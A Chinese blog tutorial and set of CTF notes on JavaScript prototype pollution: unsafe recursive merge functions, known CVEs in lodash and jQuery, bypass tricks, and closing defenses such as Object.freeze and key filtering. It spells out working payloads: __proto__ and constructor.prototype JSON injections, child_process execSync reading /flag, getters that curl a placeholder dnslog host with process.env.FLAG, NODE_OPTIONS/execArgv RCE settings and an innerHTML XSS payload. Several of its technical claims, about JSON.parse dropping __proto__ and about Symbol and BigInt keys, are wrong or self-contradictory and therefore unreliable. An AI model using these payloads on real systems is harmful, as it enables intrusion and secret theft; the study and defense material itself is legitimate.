js原型链
前提:
一、constructor 是什么
每个对象都能通过原型链访问到 constructor :
var obj = {};
obj.constructor === Object; // true
// 因为 obj.__proto__ === Object.prototype
// 而 Object.prototype.constructor === Object
二、对象是什么
在javascript中,对象(Object) 是最核心的数据结构之一,它本质上是一个无序的键值对集合,可以存储任意类型的数据,包括其他对象、函数、数组,如下:
const user = {
name: "张三",
age: 25,
isAdmin: false,
address: { city: "北京", street: "长安街" } // 嵌套对象
};
##user 就是一个对象,它包含了 name、age、isAdmin 和 address 四个属性。其中 address 本身也是一个对象,这体现了对象的嵌套性
判断是否为对象:
console.log(typeof {}); // "object"
console.log(typeof []); // "object" ← 注意!数组也是对象
console.log(typeof null); // "object" ← 历史遗留 Bug!
console.log(typeof function(){}); // "function" ← 函数不是对象(虽然它有属性)
三、deepmerge函数(merge同理)
deepMerge(target, source)
- target :要被修改的对象(合并的目标)
- source :提供数据的对象(合并的来源)
效果 :把 source 里的属性 合并进 target 里
var target = { name: "Alice", age: 20 };
var source = { age: 25, city: "Beijing" };
deepMerge(target, source, 0);
// 结果:
// target = { name: "Alice", age: 25, city: "Beijing" }
// 不变 ↑ ↑ 被覆盖 ↑ 新增
- name :source 里没有,target 保留原值
- age :source 里有,target 被覆盖
- city :source 里有,target 没有,新增
四、原型链的遍历顺序与终止条件
当访问对象的某个属性时,引擎会按照以下顺序查找:
- 自身属性(own property)→ 2. 原型链上的属性 → 3. 直至
null终止。
例如:
function Animal() {}
Animal.prototype.eat = function() {
return "eating...";
};
const dog = new Animal();
dog.bark = function() {
return "woof!";
};
console.log(dog.eat()); // "eating..." —— 来自原型链
console.log(dog.bark()); // "woof!" —— 来自自身属性
console.log(dog.toString()); // "[object Object]" —— 来自 Object.prototype
console.log(dog.__proto__.__proto__); // null复制
深入解析:
dog.__proto__→Animal.prototypedog.__proto__.__proto__→Object.prototypedog.__proto__.__proto__.__proto__→null(原型链终点)
这说明所有对象最终都继承自 Object.prototype,它是整个原型树的根节点
五、__proto__
由于 __proto__ 是所有对象共有的内置属性,攻击者可通过构造含有 __proto__ 字段的对象输入,使合并函数将其误认为普通属性进行递归处理,从而污染 Object.prototype
在 JavaScript 中,每个对象都有一个内部链接 __proto__ 指向其构造函数的 prototype,形成一条链条:
obj → __proto__ → Constructor.prototype → __proto__ → Object.prototype → null
Object.prototype是所有对象的“根原型”,没有父级。- 当访问对象属性时,引擎会按顺序查找:
- 实例自身是否有该属性?
- 若无,则沿
__proto__向上查找原型链; - 直到找到或到达
null。
这正是原型污染得以实现的根本原因
一、原型污染的核心思想回顾
原型污染的本质,是利用JavaScript原型链的继承机制,通过向Object.prototype或其祖先原型注入恶意属性,使所有后续创建的对象自动继承该污染属性。这种攻击不是传统意义上的输入注入(如SQL注入、命令注入),而是一种对语言特性的“滥用”,其核心在于原型链的遍历逻辑未被正确限制。
深入剖析:为何原型污染具有全局危害性?
在JavaScript中,每个对象都拥有一个内部的[[Prototype]]指针(可通过__proto__访问),指向其原型对象。当访问某个对象的属性时,引擎会按照如下顺序查找:
- 优先检查对象自身的属性;
- 若不存在,则沿着原型链向上查找;
- 直到找到目标属性,或到达链尾(即
null)为止。
关键点:Object.prototype是所有对象的顶层原型。一旦它被篡改,那么所有新创建的对象都会继承这个被污染的属性。
受影响的知名库(历史版本):
| 库 | CVE | 修复版本 |
|---|---|---|
lodash merge/defaultsDeep |
CVE-2019-10744 | ≥ 4.17.12 |
jQuery $.extend(deep) |
CVE-2019-11358 | ≥ 3.4.0 |
| hoek | CVE-2018-3728 | ≥ 5.0.3 |
| minimist | CVE-2020-7598 | ≥ 1.2.3 |
lodash和jQuery是javascript工具库
hoke和minimist是Node.js工具库
举个例子:
// 路由处理逻辑(如 /api/config)
app.post('/api/config', (req, res) => {
const config = req.body; // 用户可控
const defaultConfig = { debug: false }; // 默认配置
const merged = merge(defaultConfig, config); // 污染点
res.json(merged);
});
① req.body — 用户完全可控
攻击者可以发送任意 JSON:
{
"debug": true,
"__proto__": {
"isAdmin": true
}
}
② merge 函数 — 漏洞根源
一个典型的不安全 merge 实现如下:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
// 如果值是对象,递归合并
if (!target[key]) {
target[key] = {};
}
merge(target[key], source[key]); // ← 关键!递归进入 __proto__
} else {
target[key] = source[key];
}
}
return target;
}
③ 污染是如何发生的
让我用逐步推演的方式展示:
第1步:merge(defaultConfig, attackerInput)
第2步:遍历 attackerInput 的 key:
- key = "debug" → target["debug"] = true (正常赋值)
- key = "__proto__" → 进入递归分支!
第3步:递归进入 merge(target["__proto__"], source["__proto__"])
即 merge(defaultConfig.__proto__, { isAdmin: true })
即 merge(Object.prototype, { isAdmin: true })
第4步:遍历 { isAdmin: true }:
- key = "isAdmin" → Object.prototype["isAdmin"] = true ← 污染完成!
defaultConfig.__proto__即{ debug: false }.__proto__,而{ debug: flase}是普通对象,它的__proto__就是Object.prototype
核心原因 : for...in 循环会遍历__proto__这个 key,而 target["__proto__"]实际上访问的是 Object.prototype ,递归合并时就把属性写到了 Object.prototype 上
污染后的效果:
// 污染后,任何新创建的空对象都会继承被污染的属性
const user = {};
console.log(user.isAdmin); // true !!!
// 如果应用中有这样的权限检查:
if (user.isAdmin) {
// 进入管理员逻辑 —— 被绕过了!
}
更危险的攻击
{
"__proto__": {
"shell": "node",
"env": {
"NODE_OPTIONS": "--require /proc/self/environ"
}
}
}
或者污染 toString 、 valueOf 等方法导致 RCE:
{
"__proto__": {
"toString": "require('child_process').execSync('calc')"
}
}
深层理解:为什么 proto 能被遍历到
const obj = {};
obj.__proto__ === Object.prototype; // true
// __proto__ 只是一个访问器属性(getter/setter)
// 当你写 obj.__proto__ = xxx 时,实际上是在修改原型链
// for...in 循环会遍历对象自身的可枚举属性
// JSON 解析出的 { "__proto__": {...} } 中,__proto__ 是一个普通字符串 key
// 所以 for...in 会遍历到它

这就是漏洞的本质 :JSON 中的字符串 key "__proto__"在 target[key] 访问时,被 JS 引擎解析为原型访问器,从而修改了 Object.prototype
总结流程图:
攻击者发送 JSON
│
▼
{ "__proto__": { "isAdmin": true } }
│
▼
merge() 用 for...in 遍历
│
▼
遇到 key = "__proto__"
│
▼
target["__proto__"] → 访问到 Object.prototype
│
▼
递归合并,将 isAdmin 写入 Object.prototype
│
▼
所有对象都被污染!{}.isAdmin === true
核心要点是: 不安全的递归合并 + __proto__ 作为 key 被遍历 = 原型链被污染
二、审计技巧:使用正则匹配潜在漏洞点
# 在项目根目录执行以下命令,扫描所有使用 merge/assign 的地方
grep -rE "(merge|assign)\s*\(\s*[^)]+,\s*[^)]+\)" . --include="*.js" --exclude-dir={node_modules,.git}
提示:结合 npx grep -r "__proto__" 查找是否显式处理该字段
常见危险函数清单(必须重点审查)
| 函数 | 风险等级 | 是否易受污染 |
|---|---|---|
lodash.merge(target, source) |
⚠️ 高 | ✅ 极易(尤其旧版本) |
Object.assign(target, source) |
⚠️ 中高 | ✅ 可能(若source含__proto__) |
_.mergeWith(...) |
⚠️ 高 | ✅ 同上 |
JSON.parse() + 合并操作 |
⚠️ 中 | ❗注意:JSON.parse会忽略__proto__,但可被其他方式绕过 |
eval() 或动态执行代码 |
极高 | ✅ 严重风险 |
注:还有clone/extend
三、CTF
一、简单__proto__
{
"__proto__": {
"isAdmin": "true"
}
}
{
"__proto__": {
"isAdmin": true,
"flag": "flag{12345}",
"toString": function() {
return process.env.FLAG || "no flag";
}
}
}
##权限绕过:if (user.isAdmin) → 永远为真
##信息泄露:{}.toString() 触发环境变量读取,污染object.prototype的污染tostring方法导致环境变量泄露
二、constructor注入
{
"constructor": {
"prototype": {
"NODE_OPTIONS": "-r /flag"
}
}
}
#NODE_OPTIONS是一个环境变量,用于在启动Node.js时传递额外的命令行选项
#-r是 --require的简写,意思是在启动主模块之前预先加载(require)一个模块
#-r /flag意味着在Node.js启动时require(加载)一个/flag的文件
使用 constructor 注入 __proto__:
{
"constructor": {
"prototype": {
"__proto__": {
"页面回显字段": "return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()"
}
}
}
}
#global.process.mainModule.constructor._load('child_process') : 加载Node.js的child_process模块
#execSync('cat /flag') : 同步执行系统命令, 读取flag
#require('child_process')也可以加载
✅ 说明:
constructor是合法属性,其prototype可继续嵌套污染。
三、使用数组索引形式(绕过字符串匹配)
{
"0": {
"__proto__": {
"flag": "test"
}
}
}
四、利用 __DEFINEGETTER__ / OBJECT.DEFINEPROPERTY 设置惰性加载属性
这种技术可用于延迟执行恶意代码,避免被立即检测。
示例:定义一个仅在访问时触发的 flag 属性
Object.prototype.__defineGetter__('flag', function() {
const { execSync } = require('child_process');
return execSync('curl https://your-dnslog.com/' + process.env.FLAG).toString();
});
使用方式:
console.log({}.flag); // 自动触发命令执行
等价写法(现代语法):
Object.defineProperty(Object.prototype, 'flag', {
get: function() {
const { execSync } = require('child_process');
execSync(`curl https://your-dnslog.com/?data=${process.env.FLAG}`);
return 'executed';
},
enumerable: false
});
✅ 优势:不直接修改原型属性值,而是通过 getter 实现“按需执行
五、利用 SYMBOL 和 BIGINT 绕过字符串匹配
某些防御措施会检查 key 是否为 "__proto__",但不会检查 Symbol 类型
// 使用 Symbol 作为键名
const symbolProto = Symbol('__proto__');
const payload = {
[symbolProto]: {
"isAdmin": true
}
};
_.merge({}, payload);
✅ 说明:for (key in obj) 会跳过 Symbol 键,但 lodash.merge 在内部仍会处理这些键**(因其实现未做类型过滤),导致污染发生。
同样适用于 BigInt :
const bigIntKey = BigInt(12345);
const payload = {
[bigIntKey]: {
"flag": "test"
}
};
_.merge({}, payload);
重点:这类攻击在 Node.js 中非常有效,尤其在 lodash < 4.17.11 时
六、多层嵌套 + Symbol 混合
const payload = {
[Symbol.for('proto')]: {
'__proto__': {
'toString': function() {
const { execSync } = require('child_process');
execSync('curl https://your-dnslog.com/?flag=' + process.env.FLAG);
return '';
}
}
}
};
✅ 优势:结合 Symbol 与多层嵌套,极大提高绕过成功率
注:global.process.mainModule.constructor._load('child_process') 和require('child_process')的区别
// 如果require被修改/劫持
const originalRequire = require;
require = function(module) {
if (module === 'child_process') {
throw new Error('禁止加载child_process');
}
return originalRequire(module);
};
// 正常require会被阻止
// const cp = require('child_process'); // 报错
// 但_load可能仍然可用
const Module = require('module');
const cp = Module._load('child_process'); // 可能成功
简单来说就是绕过时可以尝试用global.process.mainModule.constructor._load('child_process')
七、对于Json.parse()的详解
Json.parse()不解析__proto__字段,但后续若存在合并,则可能会被污染(merge(),assign(),clone(),reflect.set() 等等)
// 前端发送:
{
"__proto__": { "evil": "yes" }
}
// 后端处理:
const data = JSON.parse(req.body.data); // __proto__ 被丢弃
const result = merge({}, data); // 仍然可以触发污染
⚠️ 注意:
JSON.parse会自动忽略__proto__,但merge函数在循环for (key in obj)时并未过滤该字段,因此依然可被利用。
// 以下代码不会触发原型污染
const payload = '{"__proto__":{"malicious":33}}';
const obj = JSON.parse(payload);
console.log(obj.__proto__); // undefined
法一:
绕过:利用Constructor和prototype
// 绕过json限制,使用构造函数
const payload = '{"constructor":{"prototype":{"flag":"123"}}}';
const obj = JSON.parse(payload);
// 污染object.prototype
Object.prototype.flag = '123';
console.log({}.flag); // 123
因为 Constructor.prototype 合法结构,JSON.parse会解析它
法二:
使用数组索引测试(绕过字符匹配)
{
"0": {
"__proto__": {
"flag": "test"
}
}
}
例如:
// 攻击者控制的输入(来自 JSON/请求参数):
const maliciousInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
// 危险的 merge 操作:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
merge(target[key], source[key]); // 递归合并
} else {
target[key] = source[key]; // 直接赋值
}
}
}
merge({}, maliciousInput);
// 等效于:Object.prototype.isAdmin = true
// 之后所有对象的 isAdmin 属性都变成了 true!
具体解析:
为什么是 === 'object'?
这行代码的目的是判断 source 对象中的某个属性值是否为一个对象。
typeof操作符:这个操作符会返回一个字符串,表示其操作数的类型。
例如:
typeof "hello"→'string'typeof 123→'number'typeof true→'boolean'typeof undefined→'undefined'typeof {a: 1}→'object'typeof [1, 2, 3]→'object'(数组也是对象)typeof null→'object'(这是一个著名的历史遗留 Bug)
因此,if (typeof source[key] === 'object') 的意思是:“如果 source 对象的当前属性 key 的值是一个对象(或数组),则为真
这样做是为了实现深度合并(Deep Merge)。当遇到一个值是对象的属性时,代码不会简单地覆盖目标对象上的同名属性,而是会递归地调用 merge 函数,将源对象和目标对象中该属性的子属性也进行合并。
代码整体分析
现在我们来完整地看一下这段代码是如何工作的,以及它的危险之处。
攻击者的恶意输入
// 攻击者控制的输入(来自 JSON/请求参数):
const maliciousInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
JSON.parse() 会将其解析成一个普通的 JavaScript 对象:{ __proto__: { isAdmin: true } }。
危险的合并函数
// 危险的 merge 操作:
function merge(target, source) {
for (let key in source) { // 遍历 source 的所有可枚举属性
if (typeof source[key] === 'object') {
// 如果属性值是对象,则递归合并,这里的深度为1,当要嵌套时,可能为merge(target,source,depth)加上个for循环来递归合并
merge(target[key], source[key]);
} else {
// 否则,直接赋值
target[key] = source[key];
}
}
}
- 这个函数的作用是将
source对象的内容合并到target对象中。 - 它会遍历
source的每一个属性(key)。 - 正如我们刚才分析的,如果属性的值是对象,就递归;如果不是,就直接赋值。
漏洞如何被利用
假设我们有一个空的目标对象,并执行合并操作:
let userConfig = {};
merge(userConfig, maliciousInput);
让我们一步步跟踪这个过程:
for...in循环开始,key的值是"__proto__"。- 检查
maliciousInput["__proto__"]的类型,它是一个对象{ isAdmin: true }。 - 条件
typeof ... === 'object'成立,于是进入if分支。 - 执行递归调用:
merge(userConfig["__proto__"], maliciousInput["__proto__"])。 - 关键步骤:
userConfig["__proto__"]实际上访问的是userConfig对象的原型(即Object.prototype)。所以,这次递归调用等同于merge(Object.prototype, { isAdmin: true })。 - 在新的递归调用中,
key的值是"isAdmin"。 maliciousInput["__proto__"]["isAdmin"]的值是true,它不是对象。- 条件不成立,进入
else分支。 - 执行
Object.prototype["isAdmin"] = true。
灾难性后果
通过上面的步骤,攻击者成功地在所有普通 JavaScript 对象的“祖先”——Object.prototype 上添加了一个新属性 isAdmin,并将其值设为 true
let newUser = {};
console.log(newUser.isAdmin); // 输出: true
let anotherUser = { name: "Alice" };
console.log(anotherUser.isAdmin); // 输出: true
八、点号绕过
前提:在某些框架或自定义解析器中点号被处理为嵌套结构
在 Node.js 中,点号可以用来表示嵌套结构。很多库(如 qs 、 body-parser 配合 qs 解析)会把点号解析为嵌套:
// 如果用 qs 解析,点号表示嵌套
var input = "constructor.prototype.admin=true";
// qs 解析后变成:
// { constructor: { prototype: { admin: "true" } } }
假设要向object.prototype注入属性role,值为admin
{
"__proto__.role": "admin"
}
如果黑名单里只有 __proto__
则绕过了黑名单,虽然 __proto__.role不会被 JS 自动解析为嵌套属性,但在某些框架或自定义解析器中可能会被处理
注:还有
{
"constructor.prototype": {
"role": "admin"
}
}
九、EVAL() 与上下文污染
当 eval() 执行不受信任的代码时,若其中包含对 Object.prototype 的修改,也会造成污染。
// 危险代码片段
const unsafeCode = `
Object.prototype.secret = 'this is secret';
`;
eval(unsafeCode); // 执行后,所有对象都有 secret 属性
console.log({}.secret); // "this is secret"
八、原型链实战
【1】 RCE(远程代码执行)
污染特定属性,影响 Node.js 内置模块的行为:
// 污染 shell 相关属性
{"__proto__": {"shell": "node", "NODE_OPTIONS": "--inspect=0.0.0.0:1337"}}
// 或污染 child_process.spawn 的配置
{"__proto__": {"execPath": "/bin/sh", "execArgv": ["-c", "id > /tmp/pwned"]}}
【2】 DoS
污染影响循环逻辑的属性,导致死循环或内存溢出:
// 污染 length 属性
{"__proto__": {"length": 100000000}}
// 影响数组操作,导致内存耗尽
【3】客户端(浏览器)危害:
// XSS via 原型链污染
// 污染某个对象的属性,影响 DOM 操作
{"__proto__": {"innerHTML": "<img src=x onerror=alert(1)>"}}
// 若某处代码执行了 element[userControlledKey] = value
// 可能导致 XSS
九、 防御方案
① Object.freeze(Object.prototype)
Object.freeze(Object.prototype);
// 冻结原型,任何写入操作都会被静默忽略(strict mode 下抛出错误)
// 最直接的防御,但可能影响某些依赖修改原型的库
② Object.create(null) 创建无原型对象
// 创建一个没有原型链的"纯净"对象,不继承 Object.prototype
const safeDict = Object.create(null);
safeDict['__proto__'] = 'safe'; // 只是普通的键,不影响原型链
// 用于存储用户输入数据时最安全
③ 使用 Map 代替普通对象
// Map 的键值完全隔离,不存在原型链问题
const userProps = new Map();
userProps.set('__proto__', 'harmless'); // 只是普通数据
④ 过滤危险键名
function safeMerge(target, source) {
const dangerousKeys = ['__proto__', 'constructor', 'prototype'];
for (const key of Object.keys(source)) {
if (dangerousKeys.includes(key)) continue; // 过滤危险键
// ...正常 merge 逻辑
}
}
⑤ 使用 JSON Schema 校验
在反序列化用户输入之前,用 JSON Schema 严格定义允许的字段,拒绝含 __proto__ 的输入
本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20632855

浙公网安备 33010602011771号